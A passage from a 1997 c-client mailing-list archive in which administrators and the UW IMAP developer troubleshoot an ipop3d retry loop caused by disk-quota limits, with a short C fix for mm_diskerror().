(8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id HAA18380 for ; Tue, 4 Nov 1997 07:17:52 -0800 Received: from magnum.cooper.edu (magnum.cooper.edu [199.98.16.4]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with SMTP id HAA08822 for ; Tue, 4 Nov 1997 07:17:49 -0800 Received: from robin.cooper.edu by magnum.cooper.edu with SMTP id AA25288 (5.65c/IDA-1.4.4 for ); Tue, 4 Nov 1997 10:09:35 -0500 Received: by robin.cooper.edu (SMI-8.6/SMI-SVR4) id KAA08483; Tue, 4 Nov 1997 10:17:17 -0500 Message-Id: <199711041517.KAA08483@robin.cooper.edu> Date: Tue, 4 Nov 1997 10:17:17 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "David Wong" To: kung@car.chula.ac.th (Tikumporn Oontiarnunt) Cc: c-client@CAC.Washington.EDU Subject: Re: about MAILER-DAEMON 's message In-Reply-To: from "Tikumporn Oontiarnunt" at Nov 4, 97 03:37:59 pm Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN It's probably some kind of sentinel or status file that stores info about the mailbox. Its probably documented in the package if you want to know exactly what it does. > > Dear all, > > Why when I connect to imap server using IMAP protocol , do my job on mail > message and then quit, there is one message from MAILER-DAEMON@... (... > mean my server) add to my mailbox as the first message? > > The content in this message is > > "This message contains IMAP server internal information." > > and the subject is "DON'T DELETE THIS MESSAGE" > > Please tell me about this. > > Thanks, > Tikumporn. > > -- From pinedev@shivax2.cac.washington.edu Fri Nov 7 11:52:08 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Fri, 7 Nov 1997 11:52:08 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA03923 for ; Fri, 7 Nov 1997 11:52:08 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA26865; Fri, 7 Nov 1997 11:51:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id LAA09117; Fri, 7 Nov 1997 11:50:36 -0800 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id LAA52036 for ; Fri, 7 Nov 1997 11:49:40 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA18646 for ; Fri, 7 Nov 1997 11:49:37 -0800 Received: from bgnet0.bgsu.edu (bgnet0.bgsu.edu [129.1.2.15]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA06557 for ; Fri, 7 Nov 1997 11:49:22 -0800 Received: from alpha.bgsu.edu (alpha.bgsu.edu [129.1.2.12]) by bgnet0.bgsu.edu (8.8.5/8.8.5) with SMTP id OAA07183 for ; Fri, 7 Nov 1997 14:49:13 -0500 (EST) Message-Id: Date: Fri, 7 Nov 1997 14:49:13 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Steve Joseph Herber To: c-client@CAC.Washington.EDU Subject: Disk quota exceeded problems... MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: herber@alpha.bgsu.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi, I am running IMAP/POP3 servers using your version 4.38 sources on a Sun Solaris 2.4 system. I am also using disk quotas on the user accounts. I have had problems in the past where a user who exceeds disk quota and makes a POP3 connection generating many pages of console output with messages of the form.... timestamp & hostname ipop3d[PID]: Retrying after disk error user=someone host=somePPPport mbx=path/INBOX: Disk quota exceeded. ...over and over until the process is killed off. Is this fixed in any of your later releases or doesn't the IMAP/POP3 servers support disk quotas? Thanks. Steve Herber Internet: herber@bgnet.bgsu.edu Systems Programming Manager or herber@opie.bgsu.edu Bowling Green State University Bowling Green, OH From pinedev@shivax2.cac.washington.edu Fri Nov 7 20:23:43 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Fri, 7 Nov 1997 20:23:43 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id UAA12242 for ; Fri, 7 Nov 1997 20:23:42 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id UAA16751; Fri, 7 Nov 1997 20:23:37 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id UAA12795; Fri, 7 Nov 1997 20:22:27 -0800 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id UAA16486 for ; Fri, 7 Nov 1997 20:21:43 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mx5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id UAA04007 for ; Fri, 7 Nov 1997 20:21:41 -0800 Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id UAA06712 for ; Fri, 7 Nov 1997 20:21:39 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (resp@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with SMTP id UAA05549; Fri, 7 Nov 1997 20:21:32 -0800 Message-Id: Date: Fri, 7 Nov 1997 19:52:08 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Steve Joseph Herber , Bill Yeager Cc: c-client@CAC.Washington.EDU Subject: re: Disk quota exceeded problems... In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Fri, 7 Nov 1997 14:49:13 -0500 (EST), Steve Joseph Herber wrote: > I am running IMAP/POP3 servers using your version 4.38 sources on a Sun > Solaris 2.4 system. I am also using disk quotas on the user accounts. I have no idea what "version 4.38" is. That is certainly not one of my version numbers. Is it possible that you are running Bill Yeager's server, which is a Solaris-specific variant of my server? If so, you need to contact SUN and/or Bill Yeager for technical support. > I have had problems in the past where a user who exceeds disk quota and > makes a POP3 connection generating many pages of console output with > messages of the form.... > timestamp & hostname ipop3d[PID]: Retrying after disk error user=someone > host=somePPPport mbx=path/INBOX: Disk quota exceeded. > ...over and over until the process is killed off. Is this fixed in any of > your later releases or doesn't the IMAP/POP3 servers support disk quotas? This indicates that a disk quota exceeded condition happened when rewriting the mailbox file, *after* it has already started overwriting the file (and thus it is no longer able to back down since the file is clobbered). The server waits a bit, then tries again, in hope that some nice admin will see what's going on and give it enough disk to finish writing the file, as opposed to killing it and leaving the poor user with a clobbered file. In my code, this situation should never happen. The UNIX mailbox local file code (which is the only possible case in which a disk quota error could happen, since it's the only case where a mailbox can grow) calculates the size of the file after rewriting, and appends nuls to the end of the file to grow it to the needed size. It does the rewrite only if it can grow the file to that size, then it overwrites with the new data in place. If it can't grow the file, then it undoes the partial nuls and gives a quota error without retrying (since the file hasn't been damaged). It is important to know here whether you are running my code or Bill's code, since the local mailbox file handling is where most of Bill's changes are. If it is Bill's code, then Bill needs to know about it. If it's my code, this is supposed to be impossible (see above) and I want very much to understand what happened and why. From pinedev@shivax2.cac.washington.edu Mon Nov 10 09:17:49 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 10 Nov 1997 09:17:49 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA15131 for ; Mon, 10 Nov 1997 09:17:48 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA00829; Mon, 10 Nov 1997 09:17:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id JAA17507; Mon, 10 Nov 1997 09:16:57 -0800 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id JAA24716 for ; Mon, 10 Nov 1997 09:15:00 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mx5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA18606 for ; Mon, 10 Nov 1997 09:14:59 -0800 Received: from bgnet0.bgsu.edu (bgnet0.bgsu.edu [129.1.2.15]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA20187; Mon, 10 Nov 1997 09:14:45 -0800 Received: from alpha.bgsu.edu (alpha.bgsu.edu [129.1.2.12]) by bgnet0.bgsu.edu (8.8.5/8.8.5) with SMTP id MAA11478; Mon, 10 Nov 1997 12:14:44 -0500 (EST) Message-Id: Date: Mon, 10 Nov 1997 12:14:44 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Steve Joseph Herber To: Mark Crispin Cc: Bill Yeager , c-client@CAC.Washington.EDU Subject: re: Disk quota exceeded problems... In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: herber@alpha.bgsu.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Fri, 7 Nov 1997, Mark Crispin wrote: > On Fri, 7 Nov 1997 14:49:13 -0500 (EST), Steve Joseph Herber wrote: > > I am running IMAP/POP3 servers using your version 4.38 sources on a Sun > > Solaris 2.4 system. I am also using disk quotas on the user accounts. > > I have no idea what "version 4.38" is. That is certainly not one of my > version numbers. Is it possible that you are running Bill Yeager's server, > which is a Solaris-specific variant of my server? If so, you need to contact > SUN and/or Bill Yeager for technical support. >From yeager@roam.Eng.Sun.COM Mon Nov 10 12:08:59 1997 >Date: Sun, 09 Nov 1997 21:00:28 -0800 (PST) >From: William Yeager >To: Mark Crispin >Cc: Steve Joseph Herber , > Bill Yeager , c-client@CAC.Washington.EDU >Subject: re: Disk quota exceeded problems... > >>Is it possible that you are running Bill Yeager's server, >>which is a Solaris-specific variant of my server? If so, you need to >>contact SUN and/or Bill Yeager for technical support. >Not mime. We have 1.0, 2.0 and tomorrow 3.1. > >Bill The code is the imap-4.1.BETA sources downloaded from U Washington. I grepped through the sources for a version number because I know you have released several version of this code under this tar filename and I was just trying to be more specific. I'm sorry if it just added to the confusion. > > > I have had problems in the past where a user who exceeds disk quota and > > makes a POP3 connection generating many pages of console output with > > messages of the form.... > > timestamp & hostname ipop3d[PID]: Retrying after disk error user=someone > > host=somePPPport mbx=path/INBOX: Disk quota exceeded. > > ...over and over until the process is killed off. Is this fixed in any of > > your later releases or doesn't the IMAP/POP3 servers support disk quotas? > > This indicates that a disk quota exceeded condition happened when rewriting > the mailbox file, *after* it has already started overwriting the file (and > thus it is no longer able to back down since the file is clobbered). The > server waits a bit, then tries again, in hope that some nice admin will see > what's going on and give it enough disk to finish writing the file, as opposed > to killing it and leaving the poor user with a clobbered file. > > In my code, this situation should never happen. The UNIX mailbox local file > code (which is the only possible case in which a disk quota error could > happen, since it's the only case where a mailbox can grow) calculates the size > of the file after rewriting, and appends nuls to the end of the file to grow > it to the needed size. It does the rewrite only if it can grow the file to > that size, then it overwrites with the new data in place. If it can't grow > the file, then it undoes the partial nuls and gives a quota error without > retrying (since the file hasn't been damaged). > > It is important to know here whether you are running my code or Bill's code, > since the local mailbox file handling is where most of Bill's changes are. If > it is Bill's code, then Bill needs to know about it. > > If it's my code, this is supposed to be impossible (see above) and I want very > much to understand what happened and why. Is there anything else I can provide to get some additional information to you Mark? Steve Herber Internet: herber@bgnet.bgsu.edu Systems Programming Manager or herber@opie.bgsu.edu Bowling Green State University Bowling Green, OH From pinedev@shivax2.cac.washington.edu Mon Nov 10 10:44:12 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 10 Nov 1997 10:44:11 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA17224 for ; Mon, 10 Nov 1997 10:44:11 -0800 (PST) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA02821; Mon, 10 Nov 1997 10:44:06 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id KAA28922; Mon, 10 Nov 1997 10:43:23 -0800 Received: from mx4.u.washington.edu (mx4.u.washington.edu [140.142.33.5]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id KAA37180 for ; Mon, 10 Nov 1997 10:42:40 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA05223 for ; Mon, 10 Nov 1997 10:42:38 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (fwa@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id KAA02788 for ; Mon, 10 Nov 1997 10:42:34 -0800 Message-Id: Date: Mon, 10 Nov 1997 10:41:30 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Steve Joseph Herber Cc: Bill Yeager , c-client@CAC.Washington.EDU Subject: re: Disk quota exceeded problems... In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I just thought of a way that this could happen. By any chance, are you applying quota control over /tmp? You shouldn't!!! From pinedev@shivax2.cac.washington.edu Mon Nov 10 11:08:21 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 10 Nov 1997 11:08:21 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA17754 for ; Mon, 10 Nov 1997 11:08:20 -0800 (PST) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA03421; Mon, 10 Nov 1997 11:08:15 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id LAA43856; Mon, 10 Nov 1997 11:07:30 -0800 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id LAA22912 for ; Mon, 10 Nov 1997 11:07:01 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA03302 for ; Mon, 10 Nov 1997 11:07:00 -0800 Received: from bgnet0.bgsu.edu (bgnet0.bgsu.edu [129.1.2.15]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA03390; Mon, 10 Nov 1997 11:06:45 -0800 Received: from alpha.bgsu.edu (alpha.bgsu.edu [129.1.2.12]) by bgnet0.bgsu.edu (8.8.5/8.8.5) with SMTP id OAA19363; Mon, 10 Nov 1997 14:06:43 -0500 (EST) Message-Id: Date: Mon, 10 Nov 1997 14:06:43 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Steve Joseph Herber To: Mark Crispin Cc: Bill Yeager , c-client@CAC.Washington.EDU Subject: re: Disk quota exceeded problems... In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: herber@alpha.bgsu.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 10 Nov 1997, Mark Crispin wrote: > I just thought of a way that this could happen. > > By any chance, are you applying quota control over /tmp? You shouldn't!!! No but we do support quotas on /home, /var and /usr. Here is the output of the mount command on our server and a typical users quota setup... woody.wcnet.org# mount / on /dev/dsk/c0t3d0s0 read/write/setuid on Mon Nov 10 09:13:59 1997 /proc on /proc read/write/setuid on Mon Nov 10 09:13:59 1997 /dev/fd on fd read/write/setuid on Mon Nov 10 09:13:59 1997 /var on /dev/dsk/c1t0d0s6 read/write/setuid on Mon Nov 10 09:13:59 1997 /opt on /dev/dsk/c1t0d0s5 setuid/read/write on Mon Nov 10 09:53:39 1997 /var/spool/news on /dev/md/dsk/d1 setuid/read/write on Mon Nov 10 09:53:39 /home on /dev/md/dsk/d0 setuid/read/write/quota on Mon Nov 10 09:53:39 /cdrom/im17_cd on /vol/dev/dsk/c0t6/im17_cd read only on Mon Nov 10 woody.wcnet.org# quota -v connkent Disk quotas for connkent (uid 570): Filesystem usage quota limit timeleft files quota limit /home 902 4000 8000 31 300 350 woody.wcnet.org# Steve Herber Internet: herber@bgnet.bgsu.edu Systems Programming Manager or herber@opie.bgsu.edu Bowling Green State University Bowling Green, OH From pinedev@shivax2.cac.washington.edu Mon Nov 10 12:17:30 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 10 Nov 1997 12:17:30 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA18395 for ; Mon, 10 Nov 1997 12:17:29 -0800 (PST) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA05176; Mon, 10 Nov 1997 12:17:25 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id MAA33846; Mon, 10 Nov 1997 12:16:24 -0800 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id MAA31576 for ; Mon, 10 Nov 1997 12:15:20 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA27637 for ; Mon, 10 Nov 1997 12:15:16 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (rim@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA05101 for ; Mon, 10 Nov 1997 12:15:11 -0800 Message-Id: Date: Mon, 10 Nov 1997 11:15:11 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Steve Joseph Herber Cc: c-client Interest List Subject: re: Disk quota exceeded problems... In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 10 Nov 1997 14:06:43 -0500 (EST), Steve Joseph Herber wrote: > > By any chance, are you applying quota control over /tmp? You shouldn't!!! > No but we do support quotas on /home, /var and /usr. Usually, /tmp and /usr/tmp is part of /var. Let me rephrase the question: can the user write data onto the temporary directories without it counting against the user's disk quota? By the way, I'm curious; do you really limit your users to $.20 worth of disk space? From pinedev@shivax2.cac.washington.edu Mon Nov 10 12:25:52 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Mon, 10 Nov 1997 12:25:52 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA19304 for ; Mon, 10 Nov 1997 12:25:51 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA25099; Mon, 10 Nov 1997 12:25:44 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id MAA15994; Mon, 10 Nov 1997 12:24:29 -0800 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id MAA20336 for ; Mon, 10 Nov 1997 12:24:16 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA28659 for ; Mon, 10 Nov 1997 12:24:14 -0800 Received: from bgnet0.bgsu.edu (bgnet0.bgsu.edu [129.1.2.15]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA05335; Mon, 10 Nov 1997 12:24:07 -0800 Received: from alpha.bgsu.edu (alpha.bgsu.edu [129.1.2.12]) by bgnet0.bgsu.edu (8.8.5/8.8.5) with SMTP id PAA32258; Mon, 10 Nov 1997 15:24:06 -0500 (EST) Message-Id: Date: Mon, 10 Nov 1997 15:24:06 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Steve Joseph Herber To: Mark Crispin Cc: c-client Interest List Subject: re: Disk quota exceeded problems... In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: herber@alpha.bgsu.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 10 Nov 1997, Mark Crispin wrote: > On Mon, 10 Nov 1997 14:06:43 -0500 (EST), Steve Joseph Herber wrote: > > > By any chance, are you applying quota control over /tmp? You shouldn't!!! > > No but we do support quotas on /home, /var and /usr. > > Usually, /tmp and /usr/tmp is part of /var. Let me rephrase the question: can > the user write data onto the temporary directories without it counting against > the user's disk quota? No the only place quotas will affect the users is in their /home partition. > > By the way, I'm curious; do you really limit your users to $.20 worth of disk > space? Is $.40 better? We tried to set a quota high enough to allow most work to be processed. It is basicly there to prevent a user from inadvertantly loading up the disk fully by themselves. Don't you enforce ANY quotas U Washington? Steve Herber Internet: herber@bgnet.bgsu.edu Systems Programming Manager or herber@opie.bgsu.edu Bowling Green State University Bowling Green, OH From pinedev@shivax2.cac.washington.edu Tue Nov 11 20:09:19 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 11 Nov 1997 20:09:19 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id UAA11264 for ; Tue, 11 Nov 1997 20:09:18 -0800 (PST) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id UAA05157; Tue, 11 Nov 1997 20:09:14 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id UAA23578; Tue, 11 Nov 1997 20:08:21 -0800 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id UAA50560 for ; Tue, 11 Nov 1997 20:07:40 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id UAA24791 for ; Tue, 11 Nov 1997 20:07:36 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (grid@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id UAA05130 for ; Tue, 11 Nov 1997 20:07:34 -0800 Message-Id: Date: Tue, 11 Nov 1997 18:02:48 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: "O'HIRA Shinya" , Steve Joseph Herber Cc: c-client Interest List Subject: Re: Retrying after disk error In-Reply-To: <199711110700.QAA21404@beach.b1.justsystem.co.jp> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN OK, thanks to information from Oohira Shinya, I understand the problem. First, a clarification. This problem is NOT a problem in imapd, nor is it a problem in c-client's local file drivers. It is specifically an ipop[23]d problem. The problem occurs only when the user opens a mailbox using POP, is extremely near his disk quota, and is using a "keep mail on the server" client. The user is trying to log out. This entails an update to the mailbox, including saving the unique identifier and status for all messages. This could entail the mailbox needing to grow, particularly for new messages (it must create a Status:, X-Status:, and X-UID: header line). The server determines how big the mailbox needs to be, and before doing any rewrite of the mailbox it expands the mailbox to that size by appending nulls to the end of the mailbox. It does this so that in the event of a failure, it can back out without losing data. In IMAP, the client is given an untagged BYE with "Aborting due to disk error: Disk quota exceeded" message, then it quits. imapd has failed to do what it promised to do, but at least it reported to the user that it failed and why. However, in POP, there is no way to report that the server has failed to perform as promised. This leaves a choice; it can give up silently (losing state and UIDs!!!), or it can wait and retry. The code currently does the latter; it blocks for 5 seconds and tries again. If you want the code to do the former, you need to change mm_diskerror() in ipop3d.c to return T. You probably want code something like: long mm_diskerror (MAILSTREAM *stream,long errcode,long serious) { char tmp[MAILTMPLEN]; if (serious) { syslog (LOG_ALERT, "Retry after disk error user=%.80s host=%.80s mbx=%.80s: %.80s", user,tcp_clienthost (tmp), (stream && stream->mailbox) ? stream->mailbox : "???", strerror (errcode)); sleep (5); /* can't do much better than this! */ return NIL; } syslog (LOG_ALERT, "Disk error user=%.80s host=%.80s mbx=%.80s: %.80s", user,tcp_clienthost (tmp), (stream && stream->mailbox) ? stream->mailbox : "???", strerror (errcode)); return T; } Note that even if you return T it will retry when "serious" is non-NIL, since irrecoverable damage was done to the mailbox otherwise. There is no good way to win; POP can not indicate failures to the client. Either you let it retry and have a system manager fix this, or you let it fail and lose state. The only way to work around the problem at the client end is to delete messages on the server. *Begin Soapbox* It is better not to use disk quotas at all. Disk space costs less than 5 cents a megabyte. Far more money is wasted in staff salaries dealing with problems caused by disk quotas that cause software to fail irrecoverably. I can make the software not trash mailboxes due to disk quota problems, but there is no way that I can make things work if you provide such hard limits that a simple update can't work. If you must use disk quotas, you should consider a quota system which stops mail delivery at a "soft" limit but otherwise permits file writes. Even in the bad old days when disk space was expensive, there was still a recognition of a need to be able to exceed the quota in a small way. *End Soapbox* From pinedev@shivax2.cac.washington.edu Thu Dec 11 11:48:21 1997 -0800 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Thu, 11 Dec 1997 11:48:21 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA03738 for ; Thu, 11 Dec 1997 11:48:20 -0800 (PST) Received: from lists.u.washington.edu (root@lists.u.washington.edu [140.142.56.13]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA24562; Thu, 11 Dec 1997 11:48:15 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id LAA36040; Thu, 11 Dec 1997 11:46:31 -0800 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id LAA28440 for ; Thu, 11 Dec 1997 11:43:52 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA23517 for ; Thu, 11 Dec 1997 11:43:50 -0800 Received: from po9.andrew.cmu.edu (PO9.ANDREW.CMU.EDU [128.2.10.109]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA24450 for ; Thu, 11 Dec 1997 11:43:44 -0800 Received: (from postman@localhost) by po9.andrew.cmu.edu (8.8.5/8.8.2) id OAA11673 for c-client@cac.washington.edu; Thu, 11 Dec 1997 14:43:41 -0500 (EST) Received: via 